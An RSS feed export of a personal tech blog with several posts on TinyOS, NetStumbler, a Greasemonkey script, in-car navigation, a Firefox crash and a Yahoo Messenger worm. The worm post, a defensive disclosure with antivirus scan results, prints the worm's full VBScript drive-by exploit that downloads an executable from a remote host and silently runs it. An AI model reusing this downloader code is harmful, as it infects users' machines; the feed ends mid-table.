<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Ehsan Nourbakhsh’s Blog &#187; Tech Tips</title>
	<atom:link href="http://www.nourbakhsh.ir/blog/category/tech-tips/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.nourbakhsh.ir/blog</link>
	<description></description>
	<lastBuildDate>Tue, 18 May 2010 00:08:35 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>TinyOS/nesC tip: ActiveMessage</title>
		<link>http://www.nourbakhsh.ir/blog/2009/12/tinyosnesc-tip-activemessage/</link>
		<comments>http://www.nourbakhsh.ir/blog/2009/12/tinyosnesc-tip-activemessage/#comments</comments>
		<pubDate>Tue, 15 Dec 2009 20:37:20 +0000</pubDate>
		<dc:creator>Ehsan</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[wireless]]></category>
		<category><![CDATA[activemessage]]></category>
		<category><![CDATA[AMsend]]></category>
		<category><![CDATA[mote]]></category>
		<category><![CDATA[nesc]]></category>
		<category><![CDATA[tinyos]]></category>

		<guid isPermaLink="false">http://www.nourbakhsh.ir/blog/?p=115</guid>
		<description><![CDATA[Just a quick note for those who are looking on the web for the reason that their nesC code is not working: calling AMSend.setSource( *amsg,  addr) may change the source address locally, but when you are sending the packet it will be reset to ActiveMessageAddressC$addr. After almost two days of wondering why I couldn&#8217;t forge [...]]]></description>
			<content:encoded><![CDATA[<p>Just a quick note for those who are looking on the web for the reason that their nesC code is not working:</p>
<p style="text-align: left; padding-left: 30px;">calling <em>AMSend.setSource( *amsg,  addr)</em> may change the source address locally, but when you are sending the packet it will be reset to <span><span><em>ActiveMessageAddressC$addr</em>.</span></span></p>
<p style="text-align: left;"><span><span>After almost two days of wondering why I couldn&#8217;t forge messages on a base station, a friend more familiar with TinyOS gave me this warning. I couldn&#8217;t find it on the web, so .. here it is!</span></span></p>
<p style="text-align: left;"><span><span>One other note: if you are using a bash script to do the <em>TOS_NODE_ID</em> assignment for you, you should call tos-set-symbol with </span></span><span><span><em>ActiveMessageAddressC__addr</em>. Using <em>$ </em>would -obviously- cause bash to consider it a variable and replace it with empty string.<br />
</span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.nourbakhsh.ir/blog/2009/12/tinyosnesc-tip-activemessage/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>mininetstumbler on PDA device</title>
		<link>http://www.nourbakhsh.ir/blog/2007/08/mininetstumbler-on-pda-device/</link>
		<comments>http://www.nourbakhsh.ir/blog/2007/08/mininetstumbler-on-pda-device/#comments</comments>
		<pubDate>Fri, 10 Aug 2007 00:49:32 +0000</pubDate>
		<dc:creator>Ehsan</dc:creator>
				<category><![CDATA[*nix]]></category>
		<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[wireless]]></category>

		<guid isPermaLink="false">http://www.nourbakhsh.ir/blog/archives/63</guid>
		<description><![CDATA[I am using a set of iPaq devices for some of my experiments here in UTD Distributed Systems lab. One of the devices is running WindowsCE 2003, the rest are running Familiar Distribution Linux. The WinCE one is collecting data about available wireless networks using mini-Netstumbler. The data gathered is not precise, but at the [...]]]></description>
			<content:encoded><![CDATA[<p>I am using a set of iPaq devices for some of my experiments here in <a href="http://dslab.utdallas.edu/" title="University of Texas at Dallas, Distributed Systems lab">UTD Distributed Systems lab</a>. One of the devices is running WindowsCE 2003, the rest are running <a href="http://familiar.handhelds.org/" title="Familiar Distribution of Linux for Handheld devices">Familiar Distribution Linux</a>. The WinCE one is collecting data about available wireless networks using <a href="http://www.netstumbler.com/about/">mini-Netstumbler</a>. The data gathered is not precise, but at the moment I only need only a general idea.</p>
<p style="text-align: center"><a href="http://www.nourbakhsh.ir/blog/wp-content/uploads/2007/08/img_2528.JPG" title="Linux and WinCE iPaqs" rel="lightbox"><img src="http://www.nourbakhsh.ir/blog/wp-content/uploads/2007/08/img_2528.thumbnail.JPG" alt="Linux and WinCE iPaqs" /></a></p>
<p>There have been a couple of problems about using the devices, which I will try to document here from now on. The first thing to note is about mini-Netstumbler. Netstumbler is &#8220;a tool for Windows that facilitates detection of Wireless LANs using the 802.11b, 802.11a and 802.11g WLAN standards&#8221;. In general Netstumbler needs a compatible device to be able to report noise levels. I was lucky to have an old SanDisk CompactFlash WiFi card which is able to report noise level.</p>
<p>I used a converter to connect the CompactFlash WiFi card to my notebook using the PCMCIA slot. Netstumbler under Windows XP was able to use this card without any other change. Below is a screenshot of Netstumbler.</p>
<p align="center"> <a href="http://www.nourbakhsh.ir/blog/wp-content/uploads/2007/08/overall.PNG" title="Changes of noise/signal level during experiment" rel="lightbox"><img src="http://www.nourbakhsh.ir/blog/wp-content/uploads/2007/08/overall.thumbnail.PNG" title="Changes of noise/signal level during experiment" alt="Changes of noise/signal level during experiment" border="0" height="119" width="164" /></a></p>
<p align="left">Running miniNetstumbler  needed one extra step. If you do not know this you may easily waste some hours. I had to to go to network settings, and add a wireless network setting with ESSID &#8220;<strong><em>ANY</em></strong>&#8220;, without encryption. Then connected to this &#8220;network&#8221; and ran miniNetstumbler. If you do not use the &#8220;ANY&#8221; network, you will see only statistics of the network you are connected to and not other networks.</p>
<p style="text-align: center"><a href="http://www.nourbakhsh.ir/blog/wp-content/uploads/2007/08/img_2524.JPG" title="iPaq WinCE screen, for network ANY" rel="lightbox"><img src="http://www.nourbakhsh.ir/blog/wp-content/uploads/2007/08/img_2524.thumbnail.JPG" title="iPaq WinCE screen, for network ANY" alt="iPaq WinCE screen, for network ANY" border="0" height="175" width="133" /></a></p>
<p align="left"> I will try to post more about these later.</p>
<p align="left"><font color="#ff0000">UPDATE:</font> The list of compatible devices provided by NetStumbler is *not* updated. I got a Linksys WUSBGV4 through the link in <a href="http://stumbler.net/compat/" title="NetStumbler Compatibility list">www.stumbler.com/compat</a> but it does not work with NetStumbler.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nourbakhsh.ir/blog/2007/08/mininetstumbler-on-pda-device/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>ip info greasemonkey script</title>
		<link>http://www.nourbakhsh.ir/blog/2007/07/ip-resolving-greasemonkey-script/</link>
		<comments>http://www.nourbakhsh.ir/blog/2007/07/ip-resolving-greasemonkey-script/#comments</comments>
		<pubDate>Mon, 02 Jul 2007 21:03:47 +0000</pubDate>
		<dc:creator>Ehsan</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://www.nourbakhsh.ir/blog/archives/57</guid>
		<description><![CDATA[It usually happens that while I am reading an e-mail or viewing a stat report online, I want to quickly check the IP address information of sender. For instance just to see if the IP of sender is actually from the city the claimed person is in. This is not a big deal, I can [...]]]></description>
			<content:encoded><![CDATA[<p>It usually happens that while I am reading an e-mail or viewing a stat report online, I want to quickly check the IP address information of sender. For instance just to see if the IP of sender is actually from the city the claimed person is in. This is not a big deal, I can copy and paste the IP too. But well that would not be me <img src='http://www.nourbakhsh.ir/blog/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p style="text-align: center"><a href="http://www.nourbakhsh.ir/blog/wp-content/uploads/2007/07/yahoo-mail-shot.JPG" title="my yahoo mail, ip" rel="lightbox"><img src="http://www.nourbakhsh.ir/blog/wp-content/uploads/2007/07/yahoo-mail-shot.thumbnail.JPG" alt="my yahoo mail, ip" rel="lightbox" height="79" width="216" /></a></p>
<p>For this I had written a <a href="http://en.wikipedia.org/wiki/Greasemonkey" title="Greasmonkey on wikipedia" target="_blank">greasemonkey</a> script at least a year and half ago, which surprisingly still works! It converts the IP format numbers in the page to links to <a href="http://www.dnsstuff.com" title="www.dnsstuff.com" target="_blank">www.dnsstuff.com</a> IP information page.  Only install greasemonkey using link #1, and then click on the link #2. Firefox will prompt to install this.</p>
<ul>
<li><a href="http://www.greasespot.net/" title="Greasemonkey homepage" target="_blank">Greasemonkey homepage</a></li>
<li><a href="http://www.nourbakhsh.ir/blog/wp-content/uploads/2007/07/ipifyuser.user.js" title="IPify greasemonkey script">My IPify greasemonkey script  </a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.nourbakhsh.ir/blog/2007/07/ip-resolving-greasemonkey-script/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Assisted Driving</title>
		<link>http://www.nourbakhsh.ir/blog/2007/06/assisted-driving/</link>
		<comments>http://www.nourbakhsh.ir/blog/2007/06/assisted-driving/#comments</comments>
		<pubDate>Sun, 03 Jun 2007 09:51:36 +0000</pubDate>
		<dc:creator>Ehsan</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[review]]></category>

		<guid isPermaLink="false">http://www.nourbakhsh.ir/blog/archives/52</guid>
		<description><![CDATA[It is very exciting to see real world applications of computer related technologies. It gives me hope that this field is actually doing work, as other fields of science do. One branch of such real world applications is &#8220;assisted driving. What I mean by assistance in here is providing information, such as current speed and [...]]]></description>
			<content:encoded><![CDATA[<p align="justify">It is very exciting to see real world applications of computer related technologies. It gives me hope that this field is actually doing work, as other fields of science do. One branch of such real world applications is &#8220;assisted driving. What I mean by assistance in here is providing information, such as current speed and location, as well as the path to go and the directions to follow at any moment.</p>
<p style="text-align: center"><a href="http://www.nourbakhsh.ir/blog/wp-content/uploads/2007/06/map2.jpg" title="tourist with map" rel="lightbox"><img src="http://www.nourbakhsh.ir/blog/wp-content/uploads/2007/06/map2.jpg" title="tourist with map, by John Mattews" alt="tourist with map, by John Mattews" border="0" /></a></p>
<p align="justify">Also, it might include information about road construction and traffic. Providing address and phone information about restaurants and hotels, as well as national parks and theme parks, close to current location is a plus.</p>
<p><span id="more-52"></span></p>
<h3><u>Microsoft Streets &amp; Trips </u></h3>
<p align="justify"><a href="http://www.microsoft.com/streets/default.mspx" title="Microsoft Streets &amp; Trips" target="_blank">Microsoft Streets &amp; Trips</a> provides most of the above. I have been very happy about it in recent trips. It is really interesting that it really &#8220;worked&#8221; in real life situations.</p>
<p align="justify">&nbsp;</p>
<ul>
<li>Since it uses around 1GB of your hard driv, you do not need to be connected to the internet to have the road maps.</li>
<li>You can update  the database online, with only a few clicks.  The update includes road construction data.</li>
<li>It can provide driving directions to destination from current location. If connected to GPS device, it can locate itself and update the data based on that.</li>
</ul>
<p><a href="http://www.nourbakhsh.ir/blog/wp-content/uploads/2007/06/ms-steets-31.jpg" title="ms streets screen1"></a></p>
<p style="text-align: center"><a href="http://www.nourbakhsh.ir/blog/wp-admin/upload.php?style=inline&amp;tab=browse&amp;post_id=-1180859301&amp;action=view&amp;ID=53" id="file-link-53" title="microsoft streets &amp; trips screeshot1" class="file-link image">   			</a><a href="http://www.nourbakhsh.ir/blog/wp-admin/upload.php?style=inline&amp;tab=browse-all&amp;post_id=52&amp;_wpnonce=5354af875b&amp;ID=53&amp;action=view&amp;paged" id="file-link-53" title="microsoft streets &amp; trips screeshot1" class="file-link image"> 			</a><a href="http://www.nourbakhsh.ir/blog/wp-content/uploads/2007/06/ms-steets-31.jpg" title="microsoft streets &amp; trips screeshot1" rel="lightbox"><img src="http://www.nourbakhsh.ir/blog/wp-content/uploads/2007/06/ms-steets-31.thumbnail.jpg" alt="microsoft streets &amp; trips screeshot1" /></a></p>
<p align="justify">&nbsp;</p>
<ul>
<li>It can also give you accurate speed and direction, to avoid mistakes by driving in wrong direction.</li>
<li>In case your GPS device does not provide you with coordinates and signal strength, the Microsoft Streets &amp; Trips does it on screen.</li>
<li>It can also read the directions loud so you don&#8217;t have to check the screen.</li>
<li>You can do a quick search about different types of hotels, restaurant and other public places around you based on the distance. It simply draws a circle around you, and by clicking on each resort it gives phone number and address to that place.  It is really impressing, since you have this information not using web, but only from your local database.</li>
<li>You can plan for stops and specific route points. By specifying the start time and duration of stops, it can provide you an estimation of arrival and directions times.</li>
<li>It can also predict total gas price, based on miles and gas price!</li>
</ul>
<p>The problems with Microsoft Streets &amp; Trips?</p>
<p align="justify">&nbsp;</p>
<ul>
<li>It should be installed on a laptop, which is not very easy to take around in &#8220;your pocket&#8221;.</li>
<li>Limitations of laptop battery apply. It means either you should have spare batteries, or you should be able to plug it in. This means converter to car plug or only using at office/home.</li>
<li>It is not easy wise to drive and do the directions. If you are going to change route and find local place on the fly. There must be someone who does that, and you do the driving.</li>
</ul>
<p><a href="http://www.nourbakhsh.ir/blog/wp-content/uploads/2007/06/ms-steets-4.jpg" onclick="return false;" title="Direct link to file"></a></p>
<p style="text-align: center"><a href="http://www.nourbakhsh.ir/blog/wp-content/uploads/2007/06/ms-steets-4.jpg" onclick="return false;" title="Direct link to file" rel="lightbox"><img src="http://www.nourbakhsh.ir/blog/wp-content/uploads/2007/06/ms-steets-4.thumbnail.jpg" title="microsoft streets &amp; trips screenshot2" alt="microsoft streets &amp; trips screenshot2" border="0" height="95" width="171" /></a></p>
<h3><u>OnStar</u></h3>
<p align="justify">The other approach that has cleared the disadvantages of the Microsoft Streets &amp; Trips is <a href="http://www.onstar.com/" title="OnStar">OnStar service</a>. This is really hardware dependent. It means you should already have the hardware installed on your vehicle. But, in return, it gives you more services, as the service operator can not only interact with yourself, but your car as well.</p>
<p align="justify">Once you have the hardware installed on your car and subscribed to OnStar, you can &#8220;call&#8221; the service provider by pressing only on button on your car&#8217;s rear mirror.</p>
<p align="justify">&nbsp;</p>
<ul>
<li>The operator can ask you where you want to go. No typing, no need to somebody else to do the route planning, you just speak. This is very comfortable even for computer professionals, and people who are not very interested to operate a device by themselves.</li>
<li>The operator can send the directions to your car&#8217;s audio system.</li>
<li>Your car &#8220;calls&#8221; the service operator if there is an accident. They can contact authorities in turn. The comfort it gives is really reassuring. I would buy such service for my mother if it was available in Iran.</li>
<li>You can ask the operator to open your car if you forget the keys inside. You should verify your identity by a pin, which can be read by someone at home to you. Another comforting service.</li>
<li>Since you do not have the database on your car, it is not your responsibility to update it. By database, I mean the map and the road information database. The service provider updates it constantly and you simply use it.</li>
<li>It uses voice recognition so that there is no need to key in anything. There are only three or four button involved, one of which is the main OnStar button, and the other is the red emergency button.</li>
</ul>
<p style="text-align: center"><a href="http://www.nourbakhsh.ir/blog/wp-content/uploads/2007/06/onstar.jpg" title="OnStar mirror panel by Chris A" rel="lightbox"><img src="http://www.nourbakhsh.ir/blog/wp-content/uploads/2007/06/onstar.thumbnail.jpg" title="OnStar mirror panel by Chris A" alt="OnStar mirror panel by Chris A" border="0" /></a></p>
<p align="justify">&nbsp;</p>
<p align="justify">The disadvantages that OnStar has can be listed as including:</p>
<p align="justify">&nbsp;</p>
<ul>
<li>The OnStar is currently only available to cars with such hardware installed in factory. General Motors is currently installing it for its vehicles.</li>
<li>As any marketer would do, the subscription has different plans. The plans range from basic safety plan, to having all features plus being able to call using the same system.</li>
<li>The &#8220;call&#8221; is done using a more powerful cell phone system. I can assume it may be out of coverage in some places. I am already sure, as it happened, that the operator could not send the directions data to the car. The car was out of the &#8220;extended coverage area&#8221; and so data could not be transferred. Probably there was not GPRS/Edge service in that area.</li>
<li>Privacy is already a great concern. Nobody wants to be tracked and spied on using their own vehicle, by a subscription fee they themselves pay. I also find it really uncomfortable to have a microphone equipped remotely activated system around myself all the time.</li>
<li>Insurance companies can use the data gathered by the car to avoid paying insurance expenses.</li>
</ul>
<p>Links:</p>
<ul>
<li><a href="http://en.wikipedia.org/wiki/Onstar">OnStar </a>on Wikipedia</li>
<li><a href="http://auto.howstuffworks.com/onstar.htm">OnStar</a> in HowStuffworks.com</li>
<li><a href="http://news.com.com/2100-1029-5109435.html" title="Q5. 	Does OnStar work with the FBI and other law enforcement agencies on a regular basis?" target="_blank">Court to FBI: No spying on in-car computers</a>
<ul>
<li>The FBI and other police agencies may not eavesdrop on conversations inside automobiles equipped with OnStar or similar dashboard computing systems, a federal appeals court ruled.</li>
</ul>
</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.nourbakhsh.ir/blog/2007/06/assisted-driving/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>firefox crashes, too often</title>
		<link>http://www.nourbakhsh.ir/blog/2007/03/firefox-crashes-too-often/</link>
		<comments>http://www.nourbakhsh.ir/blog/2007/03/firefox-crashes-too-often/#comments</comments>
		<pubDate>Thu, 08 Mar 2007 19:34:09 +0000</pubDate>
		<dc:creator>Ehsan</dc:creator>
				<category><![CDATA[Rave]]></category>
		<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://www.nourbakhsh.ir/blog/archives/40</guid>
		<description><![CDATA[Just to quickly say: at this very moment FireFox 2.0.0.2 sucks! It dies when a page has too many elements, like Wikipedia pages. Also, it does not like more than 1 or 2 YouTube videos in one page. It simply crashes, even in safe mode with no plug-in running. Sometimes it does not crash, but [...]]]></description>
			<content:encoded><![CDATA[<p>Just to quickly say: at this very moment FireFox 2.0.0.2 sucks!</p>
<p>It dies when a page has too many elements, like Wikipedia pages. Also, it does not like more than 1 or 2 YouTube videos in one page. It simply crashes, even in safe mode with no plug-in running. Sometimes it does not crash, but it sort of &#8220;stalls&#8221; while loading a tab, and you cannot click a link or change tabs with mouse. Honestly I am using Internet Explorer more and more each day. It works fine on all those pages and in same conditions.</p>
<p><u><font color="red">Update</font></u>: I did the following:</p>
<ul>
<li> un-installed Firefox</li>
<li>removed any folder remaining from it</li>
<li>restarted my laptop and</li>
<li>then installed Firefox again</li>
</ul>
<p>The first page I visited: <a href="http://en.wikipedia.org/wiki/Fibonacci_number" target="_blank">http://en.wikipedia.org/wiki/Fibonacci_number</a> and guess what? It crashed! It used to crash on the same page before too. Internet Explorer works fine in that page, and I am using IE for all my surfing now.</p>
<p><u><font color="red">Update2:</font></u> <a href="http://www.pooyak.com">Pooya </a>just directed me to the right IRC [ irc.mozilla.org #firefox], where we figured out what was the problem: a font! Yes, one font named Xerxes [see it <a href="http://www.fonts.com/FindFonts/detail.htm?pid=420709">here</a>]  could not render CTRL+L character correctly. So, I removed the font and all the pain was gone. I posted it <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=334833">here</a> as a comment to a bug report in 2006. Thanks Pooya!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nourbakhsh.ir/blog/2007/03/firefox-crashes-too-often/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>yahoo messenger worm</title>
		<link>http://www.nourbakhsh.ir/blog/2006/09/yahoo-messenger-worm/</link>
		<comments>http://www.nourbakhsh.ir/blog/2006/09/yahoo-messenger-worm/#comments</comments>
		<pubDate>Sun, 17 Sep 2006 21:43:06 +0000</pubDate>
		<dc:creator>ehsan</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://test3.nourbakhsh.ir/blog/archives/23</guid>
		<description><![CDATA[Today I received two Yahoo messenger messages with very similar text, some thing like this: Toi di lang thang lan trong bong toi buot gia, ve dau khi da mat em roi? Ve dau khi bao nhieu mo mong gio da vo tan&#8230; Ve dau toi biet di ve dau? http://chendang.net&#8212;-/nguyen/ I don&#8217;t know what [...]]]></description>
			<content:encoded><![CDATA[<p>Today I received two Yahoo messenger messages with very similar text, some thing like this:</p>
<blockquote><p>Toi di lang thang lan trong bong toi buot gia, ve dau khi da mat em roi? Ve dau khi bao nhieu mo mong gio da vo tan&#8230; Ve dau toi biet di ve dau? http://chendang.net&#8212;-/nguyen/</p></blockquote>
<p>I don&#8217;t know what does it mean, and take no responsibility if it means something nasty. Also I&#8217;ve added some dashes to it. Anyway, the URL in this message points to a web page with only these sentences on it:</p>
<blockquote><p>Sao chẳng có gì để xem thế này hả trời !!!!!<br />
Emperor cũng làm được như mấy thằng kia thôi ^_^ keke !!!</p>
<p>Tất cả bây giờ chỉ là con số KHÔNG</p></blockquote>
<p>It is a worm which spreads itself using Yahoo! messenger, and infects unpatched IE users upon access to the www.chendnag.net website. You can find more information on its symptoms and removal on <a href="http://www.f-secure.com/v-descs/autoit_x.shtml">F-secure&#8217;s page</a> and <a href="http://vil.nai.com/vil/content/v_140628.htm">McAfee&#8217;s page</a>.</p>
<p><span id="more-17"></span></p>
<p>This is the VB script inside that page, an old IE exploit:</p>
<pre>
&lt;script language="VBScript"&gt;
    on error resume next
    dl = "http://www.chendang.net----/nguyen/love..exe"
    Set df = document.createElement("object")
    df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
    str="Microsoft.XMLHTTP"
    Set x = df.CreateObject(str,"")
    a1="Ado"
    a2="db."
    a3="Str"
    a4="eam"
    str1=a1&amp;a2&amp;a3&amp;a4
    str5=str1
    set S = df.createobject(str5,"")
    S.type = 1
    str6="GET"
    x.Open str6, dl, False
    x.Send
    fname1="bl4ck.com"
    set F = df.createobject("Scripting.FileSystemObject","")
    set tmp = F.GetSpecialFolder(2)
    fname1= F.BuildPath(tmp,fname1)
    S.open
    S.write x.responseBody
    S.savetofile fname1,2
    S.close
    set Q = df.createobject("Shell.Application","")
    Q.ShellExecute fname1,"","","open",0
&lt;/script&gt;</pre>
<p>The fact that I have received the PM means the worm does work. I will update here if I get more data, and know if it is an old one or is just gone wild. IE users, watch out!</p>
<p>P.S.: My antivirus did not detect the EXE file after downloading it. So: watch out ^ 2</p>
<h4>UPDATE:</h4>
<p>I checked the EXE file with <a href="http://www.virustotal.com">www.virustotal.com</a> and these are the results:</p>
<table border="1">
<tr>
<td>Antivirus</td>
<td>Version</td>
<td>Update</td>
<td>Result</td>
</tr>
<tr>
<td>AntiVir</td>
<td>7.2.0.16</td>
<td>09.18.2006</td>
<td>no virus found</td>
</tr>
<tr>
<td>Authentium</td>
<td>4.93.8</td>
<td>09.18.2006</td>
<td>no virus found</td>
</tr>
<tr>
<td>Avast</td>
<td>4.7.844.0</td>
<td>09.15.2006</td>
<td>no virus found</td>
</tr>
<tr>
<td>AVG</td>
<td>386</td>
<td>09.18.2006</td>
<td>no virus found</td>
</tr>
<tr>
<td>BitDefender</td>
<td>7.2</td>
<td>09.18.2006</td>
<td>no virus found</td>
</tr>
<tr>
<td>CAT-QuickHeal</td>
<td>8.00</td>
<td>09.18.2006</td>
<td>TrojanDownloader.Agent.axn</td>
</tr>
<tr>
<td>ClamAV</td>
<td>devel-20060426</td>
<td>09.18.2006</td>
<td>no virus found</td>
</tr>
<tr>
<td>DrWeb</td>
<td>4.33</td>
<td>09.18.2006</td>
<td>no virus found</td>
</tr>
<tr>
<td>eTrust-InoculateIT</td>
<td>23.72.127</td>
<td>09.16.2006</td>
<td>no virus found</td>
</tr>
<tr>
<td>eTrust-Vet</td>
<td>30.3.3084</td>
<td>09.18.2006</td>
<td>no virus found</td>
</tr>
<tr>
<td>Ewido</td>
<td>4.0</td>
<td>09.18.2006</td>
<td>no virus found</td>
</tr>
<tr>
<td>Fortinet</td>
<td>2.82.0.0</td>
<td>09.18.2006</td>
<td>no virus found</td>
</tr>
<tr>
<td>F-Prot</td>
<td>3.16f</td>
<td>09.18.2006</td>
<td>no virus found</td>
</tr>
<tr>
<td>F-Prot4</td>
<td>4.2.1.29</td>
<td>09.18.2006</td>
<td>no virus found</td>
</tr>
<tr>
<td>Ikarus</td>
<td>0.2.65.0</td>
<td>09.18.2006</td>
<td>no virus found</td>
</tr>
<tr>
<td>Kaspersky</td>
<td>4.0.2.24</td>
<td>09.18.2006</td>
<td>Trojan-Downloader.Win32.Agent.axn</td>
</tr>
<tr>
<td>McAfee</td>
<td>4854</td>
<td>09.18.2006</td>
<td>no virus found</td>
</tr>
<tr>
<td>Microsoft</td>
<td>1.1560</td>
<td>09.17.2006</td>
<td>no virus found</td>
</tr>
<tr>
<td>NOD32v2</td>
<td>1.1761</td>
<td>09.18.2006</td>
<td>no virus found</td>
</tr>
<tr>
<td>Norman</td>
<td>5.90.23</td>
<td>09.18.2006</td>
<td>no virus found</td>
</tr>
<tr>
<td>Panda</td>
<td>9.0.0.4</td>
<td>09.18.2006</td>
<td>no virus found</td>
</tr>
<tr>
<td>Sophos</td>
<td>4.09.0</td>
<td>09.18.2006</td>
<td>no virus found</td>
</tr>
<tr>
<td>Symantec</td>
<td>8.0</td>
<td>09.18.2006</td>
<td>no virus found</td>
</tr>
<tr>
<td>TheHacker</td>
<td>6.0.1.071</td>
<td>09.17.2006</td>
<td>no virus found</td>
</tr>
<tr>
<td>UNA</td>
<td>1.83</td>
<td>09.18.2006</td>
<td>no virus found</td>
</tr>
<tr>
<td>VBA32</td>
<td>3.11.1</td>
<td>09.18.2006</td>
<td>no virus found</td>
</tr>
<tr>
<td>VirusBuster</td>
<td>4.3.7:9</td>
<td>09.18.2006</td>
<td>no virus found</td>
</tr>
</table>
<p>Apparently only Kaspersky and CAT-QuickHeal(?) detect it. According to <a href="http://www.viruslist.com/en/viruses/encyclopedia?virusid=135476">Kaspersky&#8217;s viruslist.com</a>, it was first detected on September 17 2006, yesterday.</p>
<h4>UPDATE #2:</h4>
<p>After posting this blog entry, I submitted the worm sample (that EXE file it uses) to Avast! and F-Secure antivirus companies. Some hours later, F-secure reached me through e-mail and confirmed the fact it was a recently released worm:</p>
<blockquote><p>The file, love.exe (181 KB), is verified to be malicious. It will be detected as Trojan-Downloader.Win32.Agent.axn on our next database update.</p></blockquote>
<p>Their weblog has a note about it and another similar one <a href="http://www.f-secure.com/weblog/archives/archive-092006.html#00000973">here</a>.</p>
<p><a href="http://www.ruf.rice.edu/~rahmati/">Ahmad</a>, A friend of mine, had independently sent the file to McAfee AVERT. Some time later their automated system responded that the file was not a known virus, so it was &#8220;being forwarded to an AVERT Researcher for further analysis&#8221;. Some hours later, the promised researcher contacted him. He informed him that it was a new worm:</p>
<blockquote><p> A.V.E.R.T. Sample Analysis<br />
Issue Number: 2529850<br />
Virus Research Engineer: *********<br />
Identified: W32/YahLover.worm</p></blockquote>
<p>Also, a EXTRA.DAT file was attached to this email.Removal instruction based on this DAT file and McAfee antivirus software was contained in the email as well.</p>
<p>No news from Avert! has been heard yet <img src='http://www.nourbakhsh.ir/blog/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  Their latest update, today, does not detect the file to be infected.</p>
<p>When I tried to upload the file to a test Yahoo! mail message, their Symantec powered antivirus detected it as 	&#8220;W32.Yautoit&#8221;. Very good news for Yahoo! users.</p>
<p>And, by the way, this is the scan results of www.virustotal.com after 48 hours:</p>
<table border="1">
<thead>
<td>Antivirus</td>
<td>Version</td>
<td align="center">Update</td>
<td>Result</td>
<td>AntiVir</td>
<td>7.2.0.16</td>
<td align="center">09.20.2006</td>
<td>no virus found</td>
<td>Authentium</td>
<td>4.93.8</td>
<td align="center">09.20.2006</td>
<td>no virus found</td>
</tr>
<tr>
<td>Avast</td>
<td>4.7.844.0</td>
<td align="center">09.19.2006</td>
<td>no virus found</td>
</tr>
<tr>
<td>AVG</td>
<td>386</td>
<td align="center">09.20.2006</td>
<td>no virus found</td>
</tr>
<tr>
<td>BitDefender</td>
<td>7.2</td>
<td align="center">09.20.2006</td>
<td>Win32.Worm.Sohanat.E</td>
</tr>
<tr>
<td>CAT-QuickHeal</td>
<td>8.00</td>
<td align="center">09.20.2006</td>
<td>TrojanDownloader.Agent.axn</td>
</tr>
<tr>
<td>ClamAV</td>
<td>devel-20060426</td>
<td align="center">09.20.2006</td>
<td>no virus found</td>
</tr>
<tr>
<td>DrWeb</td>
<td>4.33</td>
<td align="center">09.20.2006</td>
<td>Trojan.DownLoader.12971</td>
</tr>
<tr>
<td>eTrust-InoculateIT</td>
<td>23.73.0</td>
<td align="center">09.20.2006</td>
<td>no virus found</td>
</tr>
<tr>
<td>eTrust-Vet</td>
<td>30.3.3088</td>
<td align="center">09.20.2006</td>
<td>Win32/Tiotua.A</td>
</tr>
<tr>
<td>Ewido</td>
<td>4.0</td>
<td align="center">09.20.2006</td>
<td>no virus found</td>
</tr>
<tr>
<td>Fortinet</td>
<td>2.82.0.0</td>
<td align="center">09.20.2006</td>
<td>W32/Agent.AXN!tr.dldr</td>
</tr>
<tr>
<td>F-Prot</td>
<td>3.16f</td>
<td align="center">09.20.2006</td>
<td>no virus found</td>
</tr>
<tr>
<td>F-Prot4</td>
<td>4.2.1.29</td>
<td align="center">09.20.2006</td>
<td>no virus found</td>
</tr>
<tr>
<td>Ikarus</td>
<td>0.2.65.0</td>
<td align="center">09.20.2006</td>
<td>no virus found</td>
</tr>
<tr>
<td>Kaspersky</td>
<td>4.0.2.24</td>
<td align="center">09.20.2006</td>
<td>Trojan.Win32.Autoit.x</td>
</tr>
<tr>
<td>McAfee</td>
<td>4856</td>
<td align="center">09.20.2006</td>
<td>W32/YahLover.worm</td>
</tr>
<tr>
<td>Microsoft</td>
<td>1.1560</td>
<td align="center">09.19.2006</td>
<td>no virus found</td>
</tr>
<tr>
<td>NOD32v2</td>
<td>1.1764</td>
<td align="center">09.20.2006</td>
<td>no virus found</td>
</tr>
<tr>
<td>Norman</td>
<td>5.90.23</td>
<td align="center">09.20.2006</td>
<td>Agent.AWVY</td>
</tr>
<tr>
<td>Panda</td>
<td>9.0.0.4</td>
<td align="center">09.20.2006</td>
<td>Adware/StartPage.AWD</td>
</tr>
<tr>
<td>Sophos</td>
<td>4.09.0</td>
